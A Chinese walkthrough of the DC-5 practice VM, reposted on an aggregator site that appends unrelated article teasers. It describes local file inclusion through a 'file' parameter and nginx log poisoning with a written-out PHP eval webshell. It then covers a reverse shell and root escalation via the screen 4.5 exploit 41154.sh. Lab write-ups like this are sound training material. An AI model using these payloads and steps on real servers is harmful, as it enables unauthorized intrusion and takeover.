小H靶场笔记:DC-5

DC-5

January 5, 2024 10:44 AM
Tags:screen提权
Owner:只惠摸鱼

信息收集

  • 探测靶机ip,大概率为192.168.199.135,且开放端口为80和111

    在这里插入图片描述

  • 扫描端口80,111相关服务、版本、操作系统、漏洞信息

    • sudo nmap -sS -O -sV 192.168.199.135 --script=vuln

    在这里插入图片描述

    • 发现有CSRF漏洞和RPCbind, 百度rpcbind后 发现是ddos漏洞,一般不采用
  • 查看80端口的页面,发现有可能有用的就是contact页面,但XSS没反应。

    在这里插入图片描述

  • 扫一下目录,看有没有其他有用的

    在这里插入图片描述

  • 发现有一些php页面,大部分是主页里面可见的功能,有一个奇怪的是footer.php 页面刷新或重新进入时,数字会变。

    在这里插入图片描述

    在这里插入图片描述

    • 猜想每个页面下方都有copyriht 即footer.php页面的内容,有可能是使用了include()等方式引入需要包含的文件,载入页面,因此有可能有文件包含漏洞。
    • 访问其他页面刷新发现不会动,只有thankyou.php页面会变动,从此页面下手。

    在这里插入图片描述

    在这里插入图片描述

漏洞利用

  • bp抓包,然后进行传参使其等于其中任意页面的php(我是用了index.php),导入Intruder模块准备爆破变量名,找到能够改变页面脚注的变量,从而执行下一步渗透操作。【我的字典是用的别人的英文字母字典,数量还比较大,不是很好用,有大佬有变量名爆破的字典的话跪求分享一下】

    在这里插入图片描述

  • 根据返回内容的长度,找到传参的变量名是file

    在这里插入图片描述

  • 使用参数传入/etc/passwd,可以查看用户,/etc/shadow查看用户密码不行,应该是设置了权限

    在这里插入图片描述

  • 有文件包含漏洞,然后抓包传入一句话木马,一句话木马需要存储在文件才能连接,所以想到nginx的日志进行写入。

    在这里插入图片描述

  • 访问nginx的日志目录**/var/log/nginx/access.log/var/log/nginx/error.log**【一开始我始终进不去,怎么搞都没数据,重启靶机后还是一样,发现爆500,搜了搜感觉应该是我爆破时没有设置线程,打崩了nginx服务器,或者扫目录时扫太多了,内容太多错误了。不得以重新安装一遍。0~0】

    在这里插入图片描述

    • nginx日志默认字典路径为/var/log/nginx/access.log
    • access.log:指的是访问日志,我们通过访问日志可以获取用户的 IP、请求处理的时间、浏览器信息等
    • error.log:错误日志记录了访问出错的信息,可以用于定位错误的原因
  • 写入马后访问error.log,发现马已写入,尝试蚁剑连接(当然也可以访问url写马,然后看access.log即/<?php @eval($_REQUEST[cmd]);?>

    在这里插入图片描述

  • 蚁剑连接

    在这里插入图片描述

  • 反弹shell,进行提权操作

    • 第一种不通,使用nc反弹成功

    在这里插入图片描述

    在这里插入图片描述

  • 生成交互性shell

    • python -c 'import pty;pty.spawn(“/bin/bash”)’

      在这里插入图片描述

提权

  • www-data权限较低,尝试寻找suid文件进行提权

    在这里插入图片描述

  • 发现有一个screen,搜索一下screen提权

    • 千万不要手动编译,手动复现或分步骤复现,就一次性运行sh脚本文件就好【折磨了我一下午,因为手动复现会出现编译版本问题导致无法执行,从而GLIBC版本报错提权失败。除非你再装一个比较老的版本的系统进行编译,我嫌太麻烦,不如直接run】*
  • searchsploit 搜索screen 4.5提权漏洞

    在这里插入图片描述

  • 下载到本地,之后拖到桌面备用

    在这里插入图片描述

  • 通过蚁剑上传到/tmp/文件夹

    在这里插入图片描述

  • 修改文件权限 chmod 777 41154.sh

  • 直接本地反弹shell处运行脚本,一气呵成拿到root

    在这里插入图片描述

  • msf反弹shell也可以

    • 生成后门文件

      在这里插入图片描述

    • 蚁剑上传

      在这里插入图片描述

    • msf模块进行监听

      在这里插入图片描述

    • 给予权限并运行

      在这里插入图片描述

    • 拿到后上传脚本,修改文件权限并运行

      在这里插入图片描述

      在这里插入图片描述

  • 读取/root目录下的flag。GG!

    在这里插入图片描述

screen提权

  • Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
  • 在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。
  • 般利用searchsploit搜搜screen中的漏洞,查看相关信息进行利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/600572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数字图像处理】万字长文的数字图像处理全貌

数字图像处理 数字图像处理也是一个广泛而深入的领域&#xff0c;涉及多个章节和主题。 图像获取与表示&#xff1a; 学习如何获取和表示数字图像&#xff0c;包括不同的图像格式和编码方法。 图像增强&#xff1a; 改善图像质量&#xff0c;使其更适合特定应用&#xff0c;例…

Danil Pristupov Fork(强大而易用的Git客户端) for Mac/Windows

在当今软件开发领域&#xff0c;团队协作和版本控制是非常重要的方面。在这个过程中&#xff0c;Git成为了最受欢迎的版本控制工具之一。然而&#xff0c;对于Git的使用&#xff0c;一个好的客户端是至关重要的。 今天&#xff0c;我们要为大家介绍一款强大而易用的Git客户端—…

.NET 8.0 本机 AOT

在软件开发领域&#xff0c;优化性能和简化效率仍然至关重要。.NET 平台二十年来不断创新&#xff0c;为开发人员提供了构建弹性且高效的软件解决方案的基础架构。 与本机 AOT&#xff08;提前&#xff09;编译相结合&#xff0c;取得了显着的进步。本文深入研究.NET Native AO…

计算机进入BIOS - Win/Linux

计算机进入BIOS - Win/Linux 快捷键方法&#xff08;通用&#xff09;Win系统方法Linux系统方法 快捷键方法&#xff08;通用&#xff09; 此方法为通用方法&#xff0c;适用于任何型号的计算机&#xff0c;包括台式机和笔记本&#xff0c;也包括Win系统和Linux系统。 进入BI…

OpenCV-Python(28):基于GrabCut 算法交互式前景提取

目标 GrabCut 算法原理&#xff0c;使用GrabCut 算法提取图像的前景 创建一个交互是程序完成前景提取 介绍 GrabCut算法是一种基于图像分割的算法&#xff0c;用于将图像中的前景物体从背景中准确地分离出来。它是由Carsten Rother等人于2004年提出的。 GrabCut算法的基本思想…

C#,入门教程(10)——常量、变量与命名规则的基础知识

上一篇&#xff1a; C#&#xff0c;入门教程(09)——运算符的基础知识https://blog.csdn.net/beijinghorn/article/details/123908269 C#用于保存计算数据的元素&#xff0c;称为“变量”。 其中一般不改变初值的变量&#xff0c;称为常变量&#xff0c;简称“常量”。 无论…

QT工具栏开始,退出

QT工具栏开始&#xff0c;退出 //初始化场景QMenuBar *bar menuBar();setMenuBar(bar);QMenu *startbar bar->addMenu("开始");QAction * quitAction startbar->addAction("退出");connect(quitAction , &QAction::triggered,[](){this->c…

Pycharm打包程序为exe文件

Pycharm打包程序为exe文件 【一】导入模块pyinstaller 【1】图片说明 【2】文字说明 根据图片顺序执行 首先点击file进入settings界面&#xff0c;在setting界面找到Project下面的Python Interpretor&#xff0c;点击号进行模块的添加在搜索框中输入pyinstaller&#xff0c;…

三、Kubernetes(K8s)入门(一)

视频教程连接k8s 入门到微服务项目实战.xmind链接&#xff1a;https://pan.baidu.com/s/1q04euH7baE8eXNyG3kPPbA 提取码&#xff1a;jej4比较好的笔记 kubectl命令的语法如下&#xff1a; kubectl [command] [type] [name] [flags]comand&#xff1a;指定要对资源执行的操作…

了解单元测试

一&#xff0c;测试分类 1.1 E2E测试&#xff08;end to end端到端测试&#xff09; 属于黑盒测试。 主要通过测试框架&#xff0c;站在用户测试人员的角度&#xff0c;模拟用户的操作进行页面功能的验证&#xff0c;不管内部实现机制&#xff0c;完全模拟浏览器的行为。&am…

任我行CRM系统SmsDataList接口SQL注入漏洞复现 [附POC]

文章目录 任我行CRM系统SmsDataList接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现0x06 修复建议任我行CRM系统SmsDataList接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章内的相关…

C++《异常》

前言&#xff1a;C有一套独立的异常处理机制,今天就来做详细的介绍try,catch这两个词等 在C语言中处理错误的方式和缺陷有&#xff1a; 返回错误码。 缺陷&#xff1a; 1.错误码不好设置&#xff0c;比如&#xff1a;除0操作&#xff0c;就不好返回错误码。如果返回一个数字&…

Flume基础知识(八):Flume 拓扑结构全解

1. 简单串联 这种模式是将多个 flume 顺序连接起来了&#xff0c;从最初的 source 开始到最终 sink 传送的 目的存储系统。此模式不建议桥接过多的 flume 数量&#xff0c; flume 数量过多不仅会影响传输速 率&#xff0c;而且一旦传输过程中某个节点 flume 宕机&#xff0c;会…

LC 2807. 在链表中插入最大公约数

2807. 在链表中插入最大公约数 难度 &#xff1a; 中等 题目大意&#xff1a; 给你一个链表的头 head &#xff0c;每个结点包含一个整数值。 在相邻结点之间&#xff0c;请你插入一个新的结点&#xff0c;结点值为这两个相邻结点值的 最大公约数 。 请你返回插入之后的链表…

thinkphp学习04-控制器定义

控制器&#xff0c;即 controller&#xff0c;控制器文件存放在 controller 目录下&#xff1b; 如果想改变系统默认的控制器文件目录&#xff0c;可以在 config 下 route.php 配置&#xff1a; 将controller修改为controller123&#xff0c;就会报错&#xff0c;说明这个配置…

Sqlmap参数设置

Sqlmap参数设置 &#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388;&#x1f388; --------------------------------------------注意---------…

易图讯便携式三维电子沙盘实战应用系统

便携式三维电子沙盘采用军工加固三防高性能笔记本&#xff0c;具有IP65级防尘防水防摔性能&#xff0c;以大数据、云计算、虚拟现实、物联网、AI等先进技术为支撑&#xff0c;支持高清卫星影像、DEM高程数据、矢量数据、三维模型、倾斜摄像、BIM、点云、城市白模、等高线、标高…

033 - STM32学习笔记 - TIM定时器(一) - 高级定时器

033 - STM32学习笔记 - TIM定时器&#xff08;一&#xff09; - 高级定时器 上节内容学习了基本定时器&#xff0c;其功能比较简单&#xff0c;配置和使用也比较容易&#xff0c;今天在基本定时器的基础上学习一下高级控制定时器的内容。 在F429上一共有两个高级控制定时器和1…

PyTorch|一次画一批图像

想想这样一个场景&#xff0c;我们训练了一个神经网络&#xff0c;输入一些信息&#xff0c;这个网络可以根据信息为我们生成相关图片。 这些图片并不是一张&#xff0c;而是多张&#xff0c;我们想把这些图片一次全部显示出来&#xff0c;而不是一张一张的显示&#xff08;这…

Python蒸发散物理问题(微积分-线性代数-拉普拉斯和傅立叶变换)

使用Python计算解决土壤物理问题的数值。这里数值过程用于求解微分方程&#xff0c;数值方法将微分转化为代数方程&#xff0c;可以使用传统的线性代数方法求解。 Python拉普拉斯变换求解微分方程示例 假设我们有微分方程 y ′ ′ 2 y ′ 16 y cos ⁡ 4 t y^{\prime \pri…